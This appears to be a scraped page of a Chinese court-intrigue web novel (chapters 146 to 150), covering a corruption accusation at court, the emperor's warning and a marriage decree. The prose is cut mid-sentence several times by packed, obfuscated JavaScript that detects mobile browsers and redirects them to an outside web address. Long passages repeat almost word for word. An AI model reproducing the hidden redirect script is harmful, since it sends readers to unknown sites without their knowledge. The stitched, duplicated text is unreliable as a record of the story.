35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039860|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺宁立刻躬身,声音洪亮,带着恰到好处的激动与感激。 “陛下!” 一个苍老的声音带着急怒响起,是勋贵一系的老臣,他显然对姜清宁再嫁贺宁极为不满,试图劝阻。 “嗯?” 陆禀淡淡地瞥过去一眼。 那眼神平静无波,却带着千钧之力,瞬间将那老臣后面的话噎了回去,脸色涨红,讷讷不敢再言。 陆禀收回目光,脸上依旧是那副宽和的笑容,对着贺宁道: “贺卿放心,朕即刻便命人拟旨,你与姜氏郎才女貌,天作之合,待择定吉日,朕亲自为你二人主婚!” “臣,叩谢陛下天恩!陛下万岁万岁万万岁!”贺宁撩袍,郑重下拜。 额头触及冰凉的金砖,一丝冷意顺着肌肤蔓延开,但他心中却是一片滚烫的火焰。 计划的第一步,成了! 这桩以婚约为名的利刃,终于借由这金銮殿上最高权力者的手,淬火成形。 “平身。”陆禀抬了抬手,目光掠过阶下百官。 在秦休那依旧纹丝不动,却寒意更甚的身影上停留了一瞬,随即移开。 “若无他事,今日便……” “臣有本奏!”贺宁再次开口,声音沉稳依旧,却多了一份不容置疑的锐利。 “臣初掌按察司,深感责任重大,陛下命臣督察百官,肃清吏治,臣不敢有丝毫懈怠,今有密报, 直指户部左侍郎王焕之,于江南漕粮转运、修筑河堤款项中,上下其手,贪墨数额之巨,触目惊心,证据在此,请陛下圣裁!” 他从袖中,取出一本早已备好的奏折,双手高举。 户部左侍郎王焕之,那可是秦贵妃一系的得力干将,更是秦休在朝中钱粮运作的重要臂膀。 贺宁此举,哪里是奏本? 分明是当众向秦休,及其背后势力,投出的第一支淬毒的利箭,矛头直指其根基。 殿内瞬间死寂,连呼吸声都清晰可闻。 所有人的目光,都下意识带着惊惧地,投向了那个红袍身影。 第146章启奏 秦休抬眼看向贺宁,眼神锐利如刀,带着审视,带着冰冷的警告,更带着一丝被冒犯的杀意。 他没有说话,但那无形的压力,让整个大殿的温度都骤然下降。 贺宁毫不避讳地迎上秦休的目光,眼神坦荡,甚至带着一丝挑战的意味。 他高举奏折的手臂,稳如磐石。 陆禀眼底深处飞快地掠过一丝满意的精光。 他看着阶下无声对峙的两人,如同欣赏一出精心编排的好戏。 贺宁这把刀,果然够锋利,也够听话。 既然如此,他何不多给贺宁一些恩典? 他清了清嗓子,声音恢复了帝王的威严与冰冷:“呈上来!” 司礼太监小跑着接过贺宁的奏折,恭敬地呈递到御前。 陆禀并未立刻翻阅,只是将那奏折拿在手中,仿佛掂量着其分量,也掂量着朝堂上即将到来的腥风血雨。 他目光扫过脸色瞬间惨白如纸的户部左侍郎王焕之,又掠过沉默如山、眼神却锐利如鹰隼的秦休,最终落回贺宁身上,缓缓道: “此事,朕知道了,贺卿忠心体国,朕心甚慰,着大理寺、刑部,会同按察司,严查此案!务必水落石出,不得姑息!” “臣,遵旨!”贺宁再次躬身,声音铿锵。 “退朝——!”司礼太监尖细的嗓音再次响起,带着一丝不易察觉的颤抖。 百官如蒙大赦,纷纷行礼告退,脚步匆匆,仿佛急于逃离这风暴的中心。 唯有贺宁与秦休,隔着涌动的人潮,目光在空中再次碰撞。 一个锐意进取,锋芒毕露; 一个深不可测,寒意凛然。 无形的硝烟,已然弥漫开来。 散朝的百官们纷纷低语躲避,贺宁面上含着淡笑,走向巍峨深沉的宫门。 他步履沉稳,绯袍掠过一道冷冽的光。 然而,未及踏出那象征权力巅峰的朱红门槛。 一名身着内侍省服色、神态恭谨却眼神精干的太监,已悄然拦在了前方,拂尘微垂,声音不高却清晰地送入贺宁耳中: “贺大人请留步,陛下口谕,御书房召见。” 贺宁脚步一顿,面上不显波澜,心中却如明镜。 方才朝堂上那场戏码,皇帝看得分明。 此刻的召见,既是安抚,更是掌控。 他微微颔首:“有劳公公引路。” 引路太监的脚步落在光可鉴人的金砖上,几近无声。 唯有贺宁腰间玉带的轻微碰撞,在这过分寂静的回廊里,敲击出规律的轻响,如同他此刻冷静计算的心跳。 御书房内,光线被厚重的明黄帷幔滤去大半,显得有些幽深。 陆禀已换下繁复沉重的朝服,只着一身家常的赭黄常服,坐在巨大的紫檀御案之后。 案上堆积如山的奏章旁,随意地放着一柄通体无瑕的白玉如意,温润的光泽在幽暗中格外醒目。 贺宁趋步上前,一丝不苟地行下大礼:“臣贺宁,叩见陛下。” “平身,赐座。” 陆禀的声音比在朝堂上随意了些,目光却依旧带着审视,落在他身上,“贺卿今日在朝堂之上,可是让朕看了一出好戏啊。” 他嘴角噙着一丝难以捉摸的笑意,手指无意识地抚摸着那柄冰凉的玉如意。 贺宁依言在太监搬来的紫檀绣墩上坐了半边,姿态恭谨:“臣惶恐,臣只是尽忠职守,不敢有丝毫欺瞒陛下之心。” “尽忠职守?”陆禀轻笑一声,那笑声在空旷的书房里,显得有些突兀。 “你这份‘忠’,可是直接烧到了秦休的眼皮子底下,王焕之,那是他钱袋子上最要紧的一颗扣子,你这一刀,够快,也够狠。” 他话锋一转,带着不容错辨的敲打,“不过,贺卿啊,朕让你回来,是让你来做朕手中的利刃,去削一削某些人过长的枝蔓,可不是让你这把刀,一上来就奔着同归于尽去的, 秦休是什么人?执掌刑狱,手握重兵,那是从尸山血海里杀出来的‘玉面修罗’,你初来乍到,根基未稳,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039861|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这般锋芒毕露,就不怕…刀折了?” 贺宁迎上皇帝的目光,眼神坦荡,带着恰到好处的锐气,与一丝青年人的耿直: “陛下明鉴,臣久在北疆,深知军情如火,容不得半分拖延推诿,按察司之职,贵在雷厉风行, 王焕之贪墨漕粮河工款,证据确凿,此等蠹虫,一日不除,则国库一日受损,黎民一日遭殃, 臣若因畏惧权贵而瞻前顾后,迟滞不报,岂非辜负陛下信重?至于秦大人……” 他略作停顿,语气沉稳,“臣行事光明正大,所奏皆有实据,若因秉公执法而得罪于人,此乃臣之本分,亦是陛下设立按察司之深意,臣不惧。” “好一个‘本分’!好一个‘不惧’!” 陆禀脸上的笑意加深了几分,眼底却是一片冰冷。 他放下玉如意,身体微微前倾,目光如实质般压在贺宁身上。 “年轻人有锐气,是好事,但在这京城里,光有锐气,不懂审时度势,只会死得更快。” “朕需要一把能杀敌的刀,不是一把还未见血,就先把自己崩断的刀。” 他的声音陡然转沉,带着帝王的威压。 “贺宁,你要记住,朕能把你从北疆召回,赐你高位,予你权柄,让你得偿所愿娶那姜氏女, 同样也能让你一无所有,你的荣辱生死,只在朕一念之间,这柄刀握在谁的手里,由谁说了算,你可明白?” 最后几个字,如同冰锥,刺破空气,直抵贺宁心间。 贺宁立刻离座,再次深深拜下,额头几乎触地,声音带着一丝恰到好处的震动与警醒: “陛下训诫,如雷贯耳,臣愚钝,只知一腔热血报效君父,思虑不周,险酿大错,陛下提点之恩,臣铭感五内, 臣这把刀,是陛下所赐,自当为陛下所用,为陛下所握,绝不敢有半分僭越私心,日后行事,定当谨遵圣意,谋定后动,绝不再鲁莽行事。” 看着贺宁伏低的身姿,和幡然醒悟般的话语,陆禀眼中的冷厉稍缓。 第147章猜忌 他需要的就是这把刀的锋利,但更要这刀柄牢牢握在自己手中。 贺宁此刻的驯服姿态,让他满意。 “嗯,明白就好。” 陆禀的声音恢复了平缓,重新靠回椅背,手指在御案上轻轻敲击着。 “起来吧,朕信你是个聪明人,秦休那边你今日,算是彻底把他得罪了, 此人睚眦必报,心机深沉,你务必小心应对,至于王焕之的案子,朕已下旨由三司会审, 你按察司牵头,但如何审,审到什么地步,何时收网……” 他意味深长地顿了顿,“要懂得分寸,更要懂得,看朕的眼色行事,明白吗?” “臣明白!定当谨遵圣谕,把握分寸,以陛下之意为旨归!” 贺宁起身,垂手肃立,姿态恭顺无比。 “好了。”陆禀似乎有些疲惫,挥了挥手。 “你与姜氏的婚事,朕既已金口玉言,便不会更改, 旨意稍后即下,能安抚住姜家那个女儿,也算你为朕分忧了,下去吧。” “臣告退!谢陛下隆恩!” 贺宁再次行礼,恭敬地退出了御书房。 厚重的门扉在身后无声合拢,隔绝了那令人窒息的,龙涎香与帝王威压。 阳光重新落在脸上,带来一丝暖意,但贺宁眼底深处,方才那份惶恐瞬间褪尽,只余下一片冰冷的清明。 皇帝的恩威并施,他听得真切。 这盘棋局,他既是棋子,也要做执棋之人。 而与姜清宁的盟约,正是破局的关键一步。 翌日清晨。 一队身着宫装、神色肃穆的内侍,手捧明黄耀眼的圣旨,在禁军护卫下,浩浩荡荡地出了宫门。 马蹄踏在青石板路上,发出清脆而威严的声响。 “奉天承运皇帝,诏曰:兹闻镇北王世子贺宁,英姿俊朗,忠勇可嘉,新授按察司使,国之干城;正三品武将姜柏川之女姜氏清宁,淑慎性成,柔嘉维则,虽经变故,贞静犹存, 朕闻贺宁倾慕姜氏之心甚笃,情真意切,特顺天意,遂人情,赐婚于贺宁与姜氏清宁,择吉日完婚,着礼部协理。望汝二人同心同德,敬慎持家,勿负朕恩,钦此!” 宦官的宣旨声,在宁阁前厅里回荡。 跪在香案前的姜清宁,一身素净的月白襦裙,乌发只用一支简单的玉簪绾起。 她低垂着眼帘,长长的睫毛在眼下,投下两弯淡淡的阴影,遮住了眸中所有翻涌的情绪。 她伸出双手,稳稳地接过那卷沉重的圣旨,指尖冰凉。 “臣女姜氏,叩谢陛下天恩,万岁万岁万万岁。” 宣旨太监脸上堆着恰到好处的笑容,说了几句“恭喜姜小姐,贺喜世子”的场面话,目光却忍不住地,在这位名动京城的和离妇身上多停留了几瞬。 实在是太过平静了。 他带着满腹的疑惑和丰厚的赏赐离去,留下满京城喧嚣的议论。 圣旨如同惊雷,瞬间传遍了京城。 街头巷尾,茶楼酒肆,所有的话题都围绕着,这桩惊世骇俗的赐婚。 “听说了吗?圣上给镇北王世子和那个姜氏赐婚了!” “哪个姜氏?安平伯府那个刚和离的?” “可不就是她,啧啧,真是邪了门了,一个和离妇,先是引得秦国公世子神魂颠倒,这才几天?又让刚回京的镇北王世子当朝求娶,连圣上都成全了!” “邪门?我看是狐媚手段了得,安平伯府那点事谁不知道?姜家倒了霉,她在荀家守了八年活寡,这一和离,倒像是枯木逢春,一下子攀上两棵参天大树!” “攀?我看未必,秦国公世子秦大人何等人物,听说这三天,姜氏连门都不让秦大人进了,秦府的人去宁阁,吃了好几回闭门羹,这分明是甩了秦大人,攀上更高的高枝儿贺世子了!” “嘶……这姜氏,好狠的心,好大的胆,秦大人那是什么人,她怎么敢?” “怎么不敢?没看圣旨都下了,贺世子如今可是陛下眼前的新贵红人,手握按察司,风头正劲,姜氏这是押对了宝,要飞上枝头变凤凰了。” “哼,我看未必长久,贺世子少年英雄,一时被狐媚子迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045957|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼罢了,她一个二嫁之身,无根浮萍,真以为能坐稳镇北王世子妃的位置?” “就是,等着看吧,秦大人那边怕是不会善罢甘休,还有那些眼红贺世子的,看姜氏不顺眼的贵女们,啧啧,这宁阁的门槛,怕是要被踩烂了。” 羡慕、嫉妒、鄙夷、幸灾乐祸……种种声音交织成一张巨大的网,将宁阁笼罩其中。 姜清宁这个名字,再次被推上风口浪尖,成了京城最炙手可热、也最饱受争议的谈资。 宁阁内,气氛却与外面的喧嚣截然不同。 庭院深处,一株虬枝盘曲的老树静静伫立。 树下,姜清宁换了一身家常的细棉布衣裙,袖口挽起,露出一截纤细却有力的手腕。 她手中拿着一把银亮的修枝剪,正专注地修剪着梅树旁,一株半人高的盆栽红梅。 动作不疾不徐,仿佛周遭的一切嘈杂都与她无关。 剪刀锋利的刃口咬合,发出轻微的咔嚓声。 一截多余的、略显羸弱的细枝应声而落,掉在铺着青苔的地上。 “小姐……”紫苏匆匆从外面进来,脸上带着几分忧虑和欲言又止。 外面那些沸反盈天的议论,她听得心惊肉跳。 “说。”姜清宁头也未抬,目光依旧凝在梅枝的走向上。 “山阳郡主来了。” 紫苏的声音低了下去,“马车就停在门外,郡主她脸色很不好看,说要立刻见您。” 姜清宁修剪的动作微微一顿。 山阳郡主李幼薇,是这唯一对她释放过些许善意的京城贵女。 她放下剪子。 该来的,总会来。 她神色平静,拿起一旁素白的布巾,慢条斯理地擦拭着,沾了些许草汁的手指。 “请郡主到花厅。” 宁阁的水榭花厅,临着一方小小的莲池。 夏日时节,池中荷叶盛开,厅内布置清雅,燃着淡淡的沉水香。 然而,这清雅和沉静,被一阵急促,带着怒意的脚步声打破。 「今天多更一章~」 第148章查案 陆禀眼眸深沉地扫视大殿,沉声道: “贺卿忠心体国,朕心甚慰,着大理寺、刑部,会同按察司,严查此案,务必水落石出,不得姑息!” “臣,遵旨!” 贺宁再次躬身,声音铿锵。 “退朝!!!” 司礼太监尖细的嗓音再次响起,带着一丝不易察觉的颤抖。 百官如蒙大赦,纷纷行礼告退,脚步匆匆,仿佛急于逃离这风暴的中心。 唯有贺宁与秦休,隔着涌动的人潮,目光在空中再次碰撞。 一个锐意进取,锋芒毕露; 一个深不可测,寒意凛然。 无形的硝烟,已然弥漫开来。 散朝的百官们纷纷低语躲避,贺宁面上含着淡笑,走向巍峨深沉的宫门。 他步履沉稳,绯袍掠过一道冷冽的光。 然而,未及踏出那象征权力巅峰的朱红门槛。 一名身着内侍省服色、神态恭谨却眼神精干的太监,已悄然拦在了前方,拂尘微垂,声音不高却清晰地送入贺宁耳中: “贺大人请留步,陛下口谕,御书房召见。” 贺宁脚步一顿,面上不显波澜,心中却如明镜。 方才朝堂上那场戏码,皇帝看得分明。 此刻的召见,既是安抚,更是掌控。 他微微颔首:“有劳公公引路。” 引路太监的脚步落在光可鉴人的金砖上,几近无声。 唯有贺宁腰间玉带的轻微碰撞,在这过分寂静的回廊里,敲击出规律的轻响,如同他此刻冷静计算的心跳。 御书房内,光线被厚重的明黄帷幔滤去大半,显得有些幽深。 陆禀已换下繁复沉重的朝服,只着一身家常的赭黄常服,坐在巨大的紫檀御案之后。 案上堆积如山的奏章旁,随意地放着一柄通体无瑕的白玉如意,温润的光泽在幽暗中格外醒目。 贺宁趋步上前,一丝不苟地行下大礼:“臣贺宁,叩见陛下。” “平身,赐座。” 陆禀的声音比在朝堂上随意了些,目光却依旧带着审视,落在他身上。 “贺卿今日在朝堂之上,可是让朕看了一出好戏啊。” 他嘴角噙着一丝难以捉摸的笑意,手指无意识地抚摸着那柄冰凉的玉如意。 贺宁依言在太监搬来的紫檀绣墩上坐了半边,姿态恭谨:“臣惶恐,臣只是尽忠职守,不敢有丝毫欺瞒陛下之心。” “尽忠职守?” 陆禀轻笑一声,那笑声在空旷的书房里,显得有些突兀。 “你这份‘忠’,可是直接烧到了秦休的眼皮子底下,王焕之,那是他钱袋子上最要紧的一颗扣子,你这一刀,够快,也够狠。” 他话锋一转,带着不容错辨的敲打,“不过,贺卿啊,朕让你回来,是让你来做朕手中的利刃,去削一削某些人过长的枝蔓,可不是让你这把刀,一上来就奔着同归于尽去的, 秦休是什么人?执掌刑狱,手握重兵,那是从尸山血海里杀出来的‘玉面修罗’,你初来乍到,根基未稳,就这般锋芒毕露,就不怕…刀折了?” 贺宁迎上皇帝的目光,眼神坦荡,带着恰到好处的锐气,与一丝青年人的耿直: “陛下明鉴,臣久在北疆,深知军情如火,容不得半分拖延推诿,按察司之职,贵在雷厉风行, 王焕之贪墨漕粮河工款,证据确凿,此等蠹虫,一日不除,则国库一日受损,黎民一日遭殃, 臣若因畏惧权贵而瞻前顾后,迟滞不报,岂非辜负陛下信重?至于秦大人……” 他略作停顿,语气沉稳,“臣行事光明正大,所奏皆有实据,若因秉公执法而得罪于人,此乃臣之本分,亦是陛下设立按察司之深意,臣不惧。” “好一个‘本分’!好一个‘不惧’!” 陆禀脸上的笑意加深了几分,眼底却是一片冰冷。 他放下玉如意,身体微微前倾,目光如实质般压在贺宁身上。 “年轻人有锐气,是好事,但在这京城里,光有锐气,不懂审时度势,只会死得更快。” “朕需要一把能杀敌的刀,不是一把还未见血,就先把自己崩断的刀。” 他的声音陡然转沉,带着帝王的威压。 “贺宁,你要记住,朕能把你从北疆召回,赐你高位,予你权柄, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045958|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你得偿所愿娶那姜氏女, 同样也能让你一无所有,你的荣辱生死,只在朕一念之间,这柄刀握在谁的手里,由谁说了算,你可明白?” 最后几个字,如同冰锥,刺破空气,直抵贺宁心间。 贺宁立刻离座,再次深深拜下,额头几乎触地,声音带着一丝恰到好处的震动与警醒: “陛下训诫,如雷贯耳,臣愚钝,只知一腔热血报效君父,思虑不周,险酿大错,陛下提点之恩,臣铭感五内, 臣这把刀,是陛下所赐,自当为陛下所用,为陛下所握,绝不敢有半分僭越私心,日后行事,定当谨遵圣意,谋定后动,绝不再鲁莽行事。” 看着贺宁伏低的身姿,和幡然醒悟般的话语,陆禀眼中的冷厉稍缓。 他需要的就是这把刀的锋利,但更要这刀柄牢牢握在自己手中。 贺宁此刻的驯服姿态,让他满意。 “嗯,明白就好。” 陆禀的声音恢复了平缓,重新靠回椅背,手指在御案上轻轻敲击着。 “起来吧,朕信你是个聪明人,秦休那边你今日,算是彻底把他得罪了, 此人睚眦必报,心机深沉,你务必小心应对,至于王焕之的案子,朕已下旨由三司会审, 你按察司牵头,但如何审,审到什么地步,何时收网……” 他意味深长地顿了顿,“要懂得分寸,更要懂得,看朕的眼色行事,明白吗?” “臣明白,臣定当谨遵圣谕,把握分寸,以陛下之意为旨归!” 贺宁起身,垂手肃立,姿态恭顺无比。 “好了。” 陆禀似乎有些疲惫,挥了挥手。 “你与姜氏的婚事,朕既已金口玉言,便不会更改,旨意稍后即下,能安抚住姜家那个女儿,也算你为朕分忧了,下去吧。” “臣告退,多谢陛下隆恩!” 贺宁行礼,恭敬地退出御书房。 「大家可能会发现这章和昨天重复了,是的因为精修了一下前面的剧情,删减了一两章,把字数多的拆开了,这章就被推到今天了,但是一直追更的宝宝别难受,明天三更补回来~爱你们~!」 第149章赐婚 御书房的大门在身后无声合拢,隔绝令人窒息的帝王威压。 阳光重新落在脸上,带来一丝暖意。 但贺宁眼底深处,方才那份惶恐瞬间褪尽,只余下一片冰冷的清明。 皇帝的恩威并施,他听得真切。 这盘棋局,他既是棋子,也要做执棋之人。 而与姜清宁的盟约,正是破局的关键一步。 翌日清晨。 一队身着宫装、神色肃穆的内侍,手捧明黄耀眼的圣旨,在禁军护卫下,浩浩荡荡地出了宫门。 马蹄踏在青石板路上,发出清脆而威严的声响。 “奉天承运皇帝,诏曰:兹闻镇北王世子贺宁,英姿俊朗,忠勇可嘉,新授按察司使,国之干城,正三品武将姜柏川之女姜氏清宁,淑慎性成,柔嘉维则,虽经变故,贞静犹存, 朕闻贺宁倾慕姜氏之心甚笃,情真意切,特顺天意,遂人情,赐婚于贺宁与姜氏清宁,择吉日完婚,着礼部协理。望汝二人同心同德,敬慎持家,勿负朕恩,钦此!” 宦官的宣旨声,在宁阁前厅里回荡。 跪在香案前的姜清宁,一身素净的月白襦裙,乌发只用一支简单的玉簪绾起。 她低垂着眼帘,长长的睫毛在眼下,投下两弯淡淡的阴影,遮住了眸中所有翻涌的情绪。 她伸出双手,稳稳地接过那卷沉重的圣旨,指尖冰凉。 “臣女姜氏,叩谢陛下天恩,万岁万岁万万岁。” 宣旨太监脸上堆着恰到好处的笑容,说了几句“恭喜姜小姐,贺喜世子”的场面话,目光却忍不住的,在这位名动京城的和离妇身上多停留了几瞬。 实在是太过平静了。 他带着满腹的疑惑和丰厚的赏赐离去,留下满京城喧嚣的议论。 圣旨如同惊雷,瞬间传遍了京城。 街头巷尾,茶楼酒肆,所有的话题都围绕着,这桩惊世骇俗的赐婚。 “听说了吗?圣上给镇北王世子和那个姜氏赐婚了!” “哪个姜氏?安平伯府那个刚和离的?” “可不就是她,啧啧,真是邪了门了,一个和离妇,先是引得秦国公世子神魂颠倒,这才几天?又让刚回京的镇北王世子当朝求娶,连圣上都成全了!” “邪门?我看是狐媚手段了得,安平伯府那点事谁不知道?姜家倒了霉,她在荀家守了八年活寡,这一和离,倒像是枯木逢春,一下子攀上两棵参天大树!” “攀?我看未必,秦国公世子秦大人何等人物,听说这三天,姜氏连门都不让秦大人进了,秦府的人去宁阁,吃了好几回闭门羹,这分明是甩了秦大人,攀上更高的高枝儿贺世子了!” “嘶……这姜氏,好狠的心,好大的胆,秦大人那是什么人,她怎么敢?” “怎么不敢?没看圣旨都下了,贺世子如今可是陛下眼前的新贵红人,手握按察司,风头正劲,姜氏这是押对了宝,要飞上枝头变凤凰了。” “哼,我看未必长久,贺世子少年英雄,一时被狐媚子迷了眼罢了,她一个二嫁之身,无根浮萍,真以为能坐稳镇北王世子妃的位置?” “就是,等着看吧,秦大人那边怕是不会善罢甘休,还有那些眼红贺世子的,看姜氏不顺眼的贵女们,啧啧,这宁阁的门槛,怕是要被踩烂了。” 不出意外。 姜清宁这个名字,再次被推上风口浪尖,成了京城最炙手可热、也最饱受争议的谈资。 宁阁内,气氛却与外面的喧嚣截然不同。 庭院深处,一株虬枝盘曲的老树静静伫立。 树下,姜清宁换了一身家常的细棉布衣裙,袖口挽起,露出一截纤细却有力的手腕。 她手中拿着一把银亮的修枝剪,正专注地修剪着梅树旁,一株半人高的盆栽红梅。 动作不疾不徐,仿佛周遭的一切嘈杂都与她无关。 剪刀锋利的刃口咬合,发出轻微的咔嚓声。 一截多余的、略显羸弱的细枝应声而落,掉在铺着青苔的地上。 “小姐……” 紫苏匆匆从外面进来,脸上带着几分忧虑和欲言又止。 外面那些沸反盈天的议论,她听得心惊肉跳。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045959|177619||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “说。” 姜清宁头也未抬,目光依旧凝在梅枝的走向上。 “山阳郡主来了。” 紫苏的声音低了下去,“马车就停在门外,郡主她脸色很不好看,说要立刻见您。” 姜清宁修剪的动作微微一顿。 山阳郡主李幼薇,是这唯一对她释放过些许善意的京城贵女。 她放下剪子。 该来的,总会来。 她神色平静,拿起一旁素白的布巾,慢条斯理地擦拭着,沾了些许草汁的手指:“请郡主到水榭花厅,备雪顶含翠。” 宁阁的水榭花厅,临着一方小小的莲池。 夏日时节,池中荷叶盛开,厅内布置清雅,燃着淡淡的沉水香。 然而,这清雅和沉静,被一阵急促,带着怒意的脚步声彻底打破。 “砰!” 花厅的湘妃竹帘,被一只戴着翡翠镯子的手猛地掀开,撞在门框上,发出一声闷响。 李幼薇疾步走了进来,她今日穿着一身鲜艳的茜红色织金牡丹纹宫装,云鬓高挽,珠钗璀璨。 本该是明媚照人的模样,此刻那张芙蓉面上。却罩着一层寒霜,柳眉倒竖。 一双漂亮的杏眼里,燃着两簇愤怒与不解的火焰,直直射向站在窗边,背对着她的那个素淡身影。 “姜清宁!” 李幼薇的声音又急又脆,带着被欺骗和背叛的尖锐。 “你到底是什么意思?” 姜清宁缓缓转过身。 阳光透过雕花窗棂,在她素净的衣裙上投下斑驳的光影。 她的脸色依旧平静,如同无风的湖面,只是那双看向李幼薇的眼睛,深不见底。 “郡主大驾光临,清宁有失远迎。” 李幼薇被她这副平静无波的样子彻底激怒。 她几步冲到姜清宁面前,因为激动,胸脯微微起伏,镶着珍珠的鞋尖,几乎要踩上姜清宁的裙裾。 “别跟我装糊涂,我问你,为什么要答应贺宁,为什么要接那道赐婚圣旨,你明明心里装着的是秦休!” 第150章棋手 她的声音陡然拔高,带着一丝颤抖和委屈: “这三天京城都传遍了,秦休他那样高傲的一个人,不顾京城的流言蜚语,一次次放下身段来宁阁找你。” “可你呢,闭门不出就算了,连句话都不肯递出来,让他一直苦等。” “姜清宁,你的心是石头做的吗?” 李幼薇越说越激动,眼中泛起水光:“我看得出来,我看得清清楚楚,你看他的眼神和别人不一样,他看你的时候,那眼神……” 她哽了一下,似乎无法准确描述,秦休眼中复杂而深沉的情感。 “那是他从未给过任何人的,连我都没有,我李幼薇是喜欢他,喜欢了很多年,可我知道,他眼里心里只有你姜清宁一个,我认,我甚至都打算退出了,我不想再夹在你们中间像个笑话。” 她的声音带着破碎的哭腔,猛地吸了一口气,死死盯着姜清宁的眼睛: “可你都做了什么,你转身就攀上贺宁,一个刚回京,权势煊赫的镇北王世子,你就那么迫不及待地要离开秦休,要把他像块破抹布一样扔掉?” “姜清宁,我真的看不懂你,我以为我们至少算是朋友了,可我现在发现,我根本就没看透你,你告诉我到底是为什么?” 花厅里一片死寂,只有李幼薇略显急促的喘息声。 她死死地盯着姜清宁,胸口剧烈起伏。 姜清宁静静地站着,承受着李幼薇所有的愤怒、不解和指控。 窗外的光影投在她素淡的衣襟上,摇曳着萧索的轮廓。 她没有立刻回答,目光越过激动的李幼薇,如同深潭底被投入一颗石子,漾开几不可察的涟漪,但转瞬又被更深的幽暗吞没。 她缓缓抬起手,没有理会李幼薇的质问,而是伸向旁边小几上,刚由知秋奉上的茶盏。 “郡主。” 姜清宁终于开口,声音带着奇异的穿透力,将李幼薇的喘息声压了下去。 她没目光低垂,落在茶盏中那几片碧绿舒展,缓缓沉浮的叶片上。 “你说你看得懂秦休,也看得懂我?” 她顿了顿,指尖无意识地,摩挲着温热的杯壁,那暖意却丝毫透不进她眼底的冰凉。 “八年前的冬天。” 她的声音很轻,像一片羽毛,却带着千钧的重量。 “我父兄为大乾在漠北浴血拼杀,九死一生,换来一场足以载入史册的大捷,捷报入京,举国欢腾, 可等待他们的,不是凯旋的荣耀,不是应得的封赏,而是权贵的针对,陛下一道体恤功臣,恩泽岭南的圣旨。” “体恤?多好笑的两个字啊。” 姜清宁唇角勾起一丝极淡的弧度,没有半分笑意,含着刻骨的讽刺。 “岭南烟瘴之地,蛮荒未开,明为升迁,实为流放,圣旨下达,谁都不容置喙,昔日交好的朝臣无一人求情, 母亲为了不让我父兄孤立无援,自请带着年仅七岁的幼妹清晞,随夫随子同赴岭南,从此与我骨肉分离,天涯永隔。” 她抬起眼,目光落在李幼薇脸上。 目光平静依旧,却像淬了寒冰的针,直刺人心。 “郡主生于锦绣,长于深宫,可知岭南瘴气是何滋味?” “郡主可知那蛮荒之地,蛇虫鼠蚁横行,缺医少药,一个风寒便能夺人性命,而我的家人,在那里熬了整整八年。” 她的声音依旧平稳,可握着杯壁的指尖,却因用力而微微泛白。 姜清宁的目光从李幼薇震惊的脸上移开,投向窗外,声音里带着深入骨髓的疲惫和苍凉。 “我愚蠢信了那青梅竹马、两小无猜的情谊,我信了荀家那句两家通好,必护姜氏周全的承诺, 为了这份愚蠢的信任,为了那点可笑的婚约,我独自留在这豺狼环伺的京城,替我母守着萧家留下的最后一点嫁妆, 在姜府那**的后院里,跟我那两位好叔叔、跟我那慈祥的祖母周旋,为了保住我母亲留给我的东西,我殚精竭虑,步步惊心, 那八年,我在安平伯府的清漪院,郡主你以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 